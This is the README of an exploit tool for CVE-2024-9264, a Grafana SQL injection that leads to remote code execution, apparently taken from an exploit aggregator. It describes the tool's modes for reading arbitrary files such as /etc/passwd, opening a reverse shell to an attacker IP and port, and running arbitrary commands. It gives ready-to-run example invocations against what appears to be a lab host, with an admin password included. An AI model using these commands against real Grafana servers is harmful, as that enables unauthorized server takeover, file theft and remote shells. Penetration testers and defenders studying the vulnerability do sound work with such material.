## https://sploitus.com/exploit?id=101A52F4-19F6-5B12-B372-18D22A512984
# ๐จ CVE-2024-9264 - Grafana SQL injection leading to Remote Code Execution (RCE) and file Read
Exploit tool for [CVE-2024-9264](https://grafana.com/blog/2024/10/17/grafana-security-release-critical-severity-fix-for-cve-2024-9264/), a **critical vulnerability in Grafana** allow authenticated attcker to execute sql query leading to RCE
> ๐ก๏ธ This tool is strictly for **educational purposes** and **authorized penetration testing**.
> Unauthorized use is illegal and unethical.
---
## ๐ง Vulnerability Overview
### ๐ณ๏ธ What is CVE-2024-9264?
**CVE-2024-9264** is a critical flaw in Grafana allows authenticated attacker to execute sql commands leading to RCE and file read
### ๐งฌ Root Cause
- Insufficient sanitization.
### ๐ฅ Impact
- **RCE**: Execute arbitrary commands, get reverse shells, or read sensitive files.
- **High Severity**: Complete server takeover possible if successful.
---
## โ๏ธ Features
- Supports multiple attack modes:
- `file` โ Read arbitrary files (e.g., `/etc/passwd`)
- `shell` โ Reverse shell to attacker machine
- `command` โ Run arbitrary shell commands (e.g., `whoami`)
- Customizable attacker IP, port, and credentials
---
## ๐ Usage

Not all of the arguments are nessary.
## examples
### Getting shell
``` go run main.go -ip 10.10.16.91 -port 8080 -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type shell ```
### Read files
``` go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type file -filename /etc/passwd```
### Execuet single command
``` go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type command -cmd 'ls -al' ```
### ๐ง Command-Line Flags
``` go run main.go [flags] ```